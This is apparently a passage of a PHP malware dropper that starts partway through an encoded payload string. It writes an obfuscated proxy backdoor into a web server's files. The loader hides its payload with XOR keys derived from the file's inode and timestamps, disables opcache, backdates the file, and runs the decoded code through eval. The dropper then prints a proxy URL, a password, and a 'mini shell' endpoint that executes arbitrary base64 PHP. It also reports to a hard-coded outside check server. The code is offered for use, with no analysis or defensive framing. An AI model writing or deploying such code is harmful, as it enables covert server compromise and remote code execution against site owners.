KCRzdHIpOyAkeSsrKSB7CiAgICAgICAgICAgICAgICAkaSA9ICgkaSArIDEpICUgMjU2OwogICAgICAgICAgICAgICAgJGogPSAoJGogKyAkc1skaV0pICUgMjU2OwogICAgICAgICAgICAgICAgJHggPSAkc1skaV07CiAgICAgICAgICAgICAgICAkc1skaV0gPSAkc1skal07CiAgICAgICAgICAgICAgICAkc1skal0gPSAkeDsKICAgICAgICAgICAgICAgICRyZXMgLj0gJHN0clskeV0gXiBjaHIoJHNbKCRzWyRpXSArICRzWyRqXSkgJSAyNTZdKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRyZXM7Cn0KCgoKaWYgKCFpc3NldCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKSkgZGllKCk7CmlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkpICRwcm90bz0naHR0cHMnOwoJZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSkgJHByb3RvPSRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ107CgkJZWxzZSAkcHJvdG89J2h0dHAnOwokYmFzZT0kcHJvdG8uIjovLyIuJF9TRVJWRVJbIkhUVFBfSE9TVCJdOwokYmFzZS49JF9TRVJWRVJbIlNDUklQVF9OQU1FIl07CiR0YXJnZXRVcmw9cmM0KGJhc2U2NF9kZWNvZGUocmF3dXJsZGVjb2RlKCRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXSkpLCRwYXNzd29yZCk7Ci8vaHR0cHM6Ly9naXRodWIuY29tL3pvdW5hci9waHAtcHJveHkvYmxvYi9tYXN0ZXIvUHJveHkucGhwCiRoZWFkZXJzID0gZ2V0SW5jb21pbmdSZXF1ZXN0SGVhZGVycygpOwppZiAoaXNzZXQoJF9TRVJWRVJbIkhUVFBfQ0ZfQ09OTkVDVElOR19JUCJdKSkgJF9TRVJWRVJbIlJFTU9URV9BRERSIl0gPSAkX1NFUlZFUlsiSFRUUF9DRl9DT05ORUNUSU5HX0lQIl07CiRoZWFkZXJzW109Ik9SSUctSVA6IHskX1NFUlZFUlsiUkVNT1RFX0FERFIiXX0iOwokaGVhZGVyc1tdPSJPUklHLUJBU0U6ICIuYmFzZTY0X2VuY29kZSgkYmFzZSk7CiRoZWFkZXJzW109IkFDQ0VQVDogKi8qIjsKCiRjYWNoZWRpcj1zeXNfZ2V0X3RlbXBfZGlyKCk7CiRyYW5kb21pemVfb3V0cHV0PUZBTFNFOwoKCiRjYWNoZWQ9ZmFsc2U7IC8vISEhISEhISEhISEhISEKJHJlc3BvbnNlQm9keT1OVUxMOwokY2FjaGVfc2l6ZT0tMTsKCgoKJHB1PXBhcnNlX3VybCgkdGFyZ2V0VXJsKTsKJGV4dD1zdHJ0b2xvd2VyKHBhdGhpbmZvKCRwdVsicGF0aCJdLCBQQVRISU5GT19FWFRFTlNJT04pKTsgLy/QodCD0KDRldCh4oCm0KHQgtCgwrDQoNCF0KHQj9CgwrXQoNGYIGV4dG5zaW9uICwg0KDCsdCh0ZPQoNKR0KHRk9Ch4oCaINCh4oCe0KDCsNCg4oSW0KDCu9Ch4oC5INCg0IbQoNGR0KDSkdCgwrAgX19lbmNvZGVkX18uZXh0IAoKaWYgKGlzc2V0KCRwdVsicXVlcnkiXSkpCgl7CglsaXN0KCRjYWNoZV9maWxlLCRjYWNoZV9zaXplKSA9IGV4cGxvZGUoJy0nLGJhc2U2NF9kZWNvZGUocmF3dXJsZGVjb2RlKCRwdVsicXVlcnkiXSkpKTsKCWlmICgoaXNfbnVtZXJpYygkY2FjaGVfc2l6ZSkpICYmIChwcmVnX21hdGNoKCcvXlthLXpBLVowLTldKiQvJywgJGNhY2hlX2ZpbGUpKSkKCQkJCXsKCQkJCSR0YXJnZXRVcmw9c3RyX3JlcGxhY2UoIj8iLiRwdVsicXVlcnkiXSwiIiwkdGFyZ2V0VXJsKTsKCQkJCSRmY2ZwPSRjYWNoZWRpci4nLycuJGNhY2hlX2ZpbGU7CgkJCQl9Cgl9CgppZiAoKGluX2FycmF5KCRleHQsYXJyYXkoJ2pwZycsJ21wMycsJ3BuZycsJ2pwZWcnLCdibXAnKSkpICYmIChpc3NldCgkY2FjaGVfZmlsZSkpICYmIChmaWxlX2V4aXN0cygkZmNmcCkpKQoJCXsKCgoJJGNhY2hlZD1leHBsb2RlKCJcbiIseG9yX3N0cmluZyhmaWxlX2dldF9jb250ZW50cygkZmNmcCksJGNhY2hlX2ZpbGUpKTsKCSRyZXNwb25zZUNvZGU9eG9yX3N0cmluZyhiYXNlNjRfZGVjb2RlKCRjYWNoZWRbMF0pLCRjYWNoZV9maWxlKTsKCglpZiAoKGNvdW50KCRjYWNoZWQpPT0zKSAmJiAoaXNfbnVtZXJpYygkcmVzcG9uc2VDb2RlKSkpCgkJCXsKCQkJJHJlc3BvbnNlSGVhZGVyPXhvcl9zdHJpbmcoYmFzZTY0X2RlY29kZSgkY2FjaGVkWzFdKSwkY2FjaGVfZmlsZSk7CgkJCSRyZXNwb25zZUJvZHk9eG9yX3N0cmluZyhiYXNlNjRfZGVjb2RlKCRjYWNoZWRbMl0pLCRjYWNoZV9maWxlKTsKCQkJJHJhbmRvbWl6ZV9vdXRwdXQ9VFJVRTsKCQkJfQoJCX0KCglpZiAoKHN0cmxlbigkcmVzcG9uc2VCb2R5KSE9JGNhY2hlX3NpemUpIHx8ICghJGNhY2hlZCkpCgkJewoJCQkkcmVxaW5mbz1yZXF1ZXN0KCR0YXJnZXRVcmwsJGhlYWRlcnMpOyAvL3JldHVybiBhcnJheSgkcmVzcG9uc2VDb2RlLCRyZXNwb25zZUhlYWRlciwkcmVzcG9uc2VCb2R5KSAhISEhISEhISEhISEhISEhISEhISEhISEhISEhIQoKCQkJJHJlc3BvbnNlQ29kZT1zdHJ2YWwoJHJlcWluZm9bMF0pOwoJCQkkcmVzcG9uc2VIZWFkZXI9c3RydmFsKCRyZXFpbmZvWzFdKTsKCQkJJHJlc3BvbnNlQm9keT1zdHJ2YWwoJHJlcWluZm9bMl0pOwoKCglpZiAoaXNzZXQoJGZjZnApKQoJCXsKCQkJJGNhY2hlZD1iYXNlNjRfZW5jb2RlKHhvcl9zdHJpbmcoJHJlc3BvbnNlQ29kZSwkY2FjaGVfZmlsZSkpLiJcbiI7CgkJCSRjYWNoZWQuPWJhc2U2NF9lbmNvZGUoeG9yX3N0cmluZygkcmVzcG9uc2VIZWFkZXIsJGNhY2hlX2ZpbGUpKS4iXG4iOwoJCQkkY2FjaGVkLj1iYXNlNjRfZW5jb2RlKHhvcl9zdHJpbmcoJHJlc3BvbnNlQm9keSwkY2FjaGVfZmlsZSkpOwoJCX0KCgkJaWYgKCgkY2FjaGVkKSAmJiAoaXNzZXQoJGZjZnApKSkgZmlsZV9wdXRfY29udGVudHMoJGZjZnAseG9yX3N0cmluZygkY2FjaGVkLCRjYWNoZV9maWxlKSk7IC8vISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEKCQl9CgoKLy8gU3BsaXQgaGVhZGVyIHRleHQgaW50byBhbiBhcnJheS4KJHJlc3BvbnNlSGVhZGVycyA9IHNwbGl0UmVzcG9uc2VIZWFkZXJzKCRyZXNwb25zZUhlYWRlcik7CgovLyBQYXNzIGhlYWRlcnMgdG8gb3V0cHV0CmZvcmVhY2ggKCRyZXNwb25zZUhlYWRlcnMgYXMgJGhlYWRlcikgewogICAgJGhlYWRlclBhcnRzID0gcHJlZ19zcGxpdCgnLzpccysvJywgJGhlYWRlciwgMik7CiAgICBpZiAoY291bnQoJGhlYWRlclBhcnRzKSAhPT0gMikgewogICAgICAgIGNvbnRpbnVlOwogICAgfQoKICAgICRoZWFkZXJOYW1lID0gJGhlYWRlclBhcnRzWzBdOwogICAgJGxvd2VyZWRIZWFkZXJOYW1lID0gc3RydG9sb3dlcigkaGVhZGVyTmFtZSk7CgogICAgJGhlYWRlclZhbHVlID0gJGhlYWRlclBhcnRzWzFdOwogICAgJGxvd2VyZWRIZWFkZXJWYWx1ZSA9IHN0cnRvbG93ZXIoJGhlYWRlclZhbHVlKTsKCiAgICBpZiAoaW5fYXJyYXkoJGxvd2VyZWRIZWFkZXJOYW1lLCBhcnJheSgidXJsIiwicHJpbWFyeV9pcCIsInByaW1hcnktaXAiLCJjZXJ0aW5mbyIsInByaW1hcnlfcG9ydCIsInByaW1hcnktcG9ydCIsImxvY2FsX2lwIiwibG9jYWwtaXAiLCJsb2NhbF9wb3J0IiwibG9jYWwtcG9ydCIpKSkKICAgICAgICBjb250aW51ZTsKCiAgICAvLyBQYXNzIGZvbGxvd2luZyBoZWFkZXJzIHRvIHJlc3BvbnNlCiAgICBpZiAoaW5fYXJyYXkoJGxvd2VyZWRIZWFkZXJOYW1lLAogICAgICAgIGFycmF5KCdjb250ZW50LXR5cGUnLCAnY29udGVudC1sYW5ndWFnZScsICdjb250ZW50LXNlY3VyaXR5JywgJ3NlcnZlcicpKSkgewogICAgICAgIGhlYWRlcigiJGhlYWRlck5hbWU6ICRoZWFkZXJWYWx1ZSIpOwogICAgfSBlbHNlaWYgKHN0cnBvcygkbG93ZXJlZEhlYWRlck5hbWUsICd4LScpID09PSAwKSB7CiAgICAgICAgaGVhZGVyKCIkaGVhZGVyTmFtZTogJGhlYWRlclZhbHVlIik7CiAgICB9IC8vIFJlcGxhY2UgY29va2llIGRvbWFpbiBhbmQgcGF0aAogICAgZWxzZWlmICgkbG93ZXJlZEhlYWRlck5hbWUgPT09ICdzZXQtY29va2llJykgewogICAgICAgICRuZXdWYWx1ZSA9IHByZWdfcmVwbGFjZSgnLygoPz5kb21haW4pXHMqPVxzKilbXjtcc10rLycsICdcMS4nIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddLCAkaGVhZGVyVmFsdWUpOwogICAgICAgICRuZXdWYWx1ZSA9IHByZWdfcmVwbGFjZSgnL1xzKjs/XHMqcGF0aFxzKj1ccypbXjtcc10rLycsICcnLCAkbmV3VmFsdWUpOwogICAgICAgIGhlYWRlcigiJGhlYWRlck5hbWU6ICRuZXdWYWx1ZSIsIGZhbHNlKTsKICAgIH0gLy8gRGVjb2RlIHJlc3BvbnNlIGJvZHkgaWYgZ3ppcCBlbmNvZGluZyBpcyB1c2VkCiAgICBlbHNlaWYgKCRsb3dlcmVkSGVhZGVyTmFtZSA9PT0gJ2NvbnRlbnQtZW5jb2RpbmcnICYmICRsb3dlcmVkSGVhZGVyVmFsdWUgPT09ICdnemlwJykgewogICAgICAgICRyZXNwb25zZUJvZHkgPSBnemRlY29kZSgkcmVzcG9uc2VCb2R5KTsKICAgIH0KfQoKaHR0cF9yZXNwb25zZV9jb2RlKCRyZXNwb25zZUNvZGUpOwplY2hvICRyZXNwb25zZUJvZHk7CgovKioqKioqKiogUkFORE9NSVpFIE9VVFBVVCAqKioqKioqKi8KaWYgKCRyYW5kb21pemVfb3V0cHV0KQoJCXsKCSRybmRjaGFycz1hcnJheSgiXHIiLCJcbiIsIlx0IiwiICIsY2hyKDApKTsKCWZvciAoJGk9MDskaTw9cmFuZCgzLDE1KTskaSsrKSBlY2hvICRybmRjaGFyc1thcnJheV9yYW5kKCRybmRjaGFycyldOwoJCX0KLyoqKioqKioqIFJBTkRPTUlaRSBPVVRQVVQgKioqKioqKiovCmRpZSgpOw==';
$proxy_code=trim(base64_decode($proxy_code));
//$proxy_code=file_get_contents('code');

$domain=isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$password=getpasswordhash($domain);
$proxy_code=str_replace('_PASSWORD_',$password,$proxy_code);

$proxy_code=$start.$end.$proxy_code;


$proxy_code=xor_string($proxy_code,$key1);
$proxy_code=xor_string($proxy_code,$key2);
$proxy_code=xor_string($proxy_code,$key3);

$randstart=generateRandomString(rand(5,10));
$proxy_code = wordwrap($randstart.base64_encode($proxy_code), 75, "\n", true);

$content="<?php
@error_reporting(0);

".'function xor_string($string, $key) {
	$string=strval($string);
	$key=strval($key);
    for($i = 0; $i < strlen($string); $i++) 
        $string[$i] = ($string[$i] ^ $key[$i % strlen($key)]);
    return $string;
}'."

@ini_set('opcache.enable', 0);
if (function_exists('opcache_invalidate')) 
		{
		@opcache_invalidate(__FILE__, true);
		}

\$key1=md5(fileinode(__FILE__));
\$key2=md5(filectime(__FILE__));
\$key3=md5(\$key1.\$key2);
\$prts=explode('$randstart',file_get_contents(__FILE__));
\$rawcode=end(\$prts);

\$code=base64_decode(\$rawcode);
\$code=xor_string(\$code,\$key3);
\$code=xor_string(\$code,\$key2);
\$code=xor_string(\$code,\$key1);
@eval(\$code);
?>\n$proxy_code";

file_put_contents($outfile,$content);
touch($outfile,$donor);


if (file_exists($outfile))
		{

//try {
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) $proto=$_SERVER['HTTP_X_FORWARDED_PROTO'];
	else $proto=isset($_SERVER['HTTPS'])? 'https' : 'http';

	$realpath=realpath($outfile) ? realpath($outfile) :  getcwd().'/'.basename($outfile);
	$docroot = (substr($_SERVER['DOCUMENT_ROOT'],-1)=='/') ? substr($_SERVER['DOCUMENT_ROOT'],0,-1) : $_SERVER['DOCUMENT_ROOT'];
	$docroot = realpath($docroot) ? realpath($docroot) : $docroot;

	$base=$proto."://".$_SERVER["HTTP_HOST"];
	$www_proxy_path=str_replace($docroot,$base,$realpath);
	echo "Proxy_URL: $www_proxy_path\n";
//} catch (ExceptionType $e) {} 
//	finally {
	echo "Proxy_Password: '$password'\n";
	echo "Domain_md5('$domain'): $password\n"; //
	echo "Proxy LocalPath: $realpath\nInode: $finode Ctime: $ctime\n";
	$action_param=md5($password.'action');
	$status=md5($password.'status');
	$eva=md5($password.'eval');

$proxy_check_url='http://62.164.177.15/sosage.php';



echo "Status: $www_proxy_path?$action_param=$status (GET/POST)\n";
echo "Eval code(mini shell): "."$www_proxy_path?$action_param=$eva"."[&picture=ZWNobyAiSGVsbG8sIHdvcmxkIVxuIjs=] (php code in base64) (GET/POST)\n";
echo "Proxy Check Url: $proxy_check_url\n";

echo "Proxy OneTimeCheckUrl: $www_proxy_path?".rawurlencode(base64_encode(rc4("$proxy_check_url",$password)))."\n";
echo "Status_With_OneTimeCheckUrl: $www_proxy_path?$action_param=$status&".rawurlencode(base64_encode(rc4("$proxy_check_url",$password)))."\n";
//	}


		} else 
			{
			echo "Failed to create file: [".getcwd()."/$outfile]\n";
			}


#############################################################################
function getpasswordhash($domain)
	{	
	if (!$domain) return '';
/*
	$parts=explode('.',$domain);
	$hash='.'.end($parts);
	$hash=prev($parts).$hash;
	return md5($hash);
*/

	return md5($domain);
	}
#############################################################################
function randinvis()
	{
	$arr=array("\t","\n"," ");
	return $arr[array_rand($arr)];
	}
#==============================================
function xor_string($string, $key) {
	$key=strval($key);
    for($i = 0; $i < strlen($string); $i++) 
        $string[$i] = ($string[$i] ^ $key[$i % strlen($key)]);
    return $string;
}
#==============================================
function generateRandomString($length = 10) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}
#==============================================
function rc4($str,$key) {
    if (empty($str)) return '';
    if (!is_string($str)) $str=strval($str);
	$s = array();
	for ($i = 0; $i < 256; $i++) {
		$s[$i] = $i;
	}
	$j = 0;
	for ($i = 0; $i < 256; $i++) {
		$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
		$x = $s[$i];
		$s[$i] = $s[$j];
		$s[$j] = $x;
	}
	$i = 0;
	$j = 0;
	$res = '';
	for ($y = 0; $y < strlen($str); $y++) {
		$i = ($i + 1) % 256;
		$j = ($j + $s[$i]) % 256;
		$x = $s[$i];
		$s[$i] = $s[$j];
		$s[$j] = $x;
		$res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
	}
	return $res;
}
?>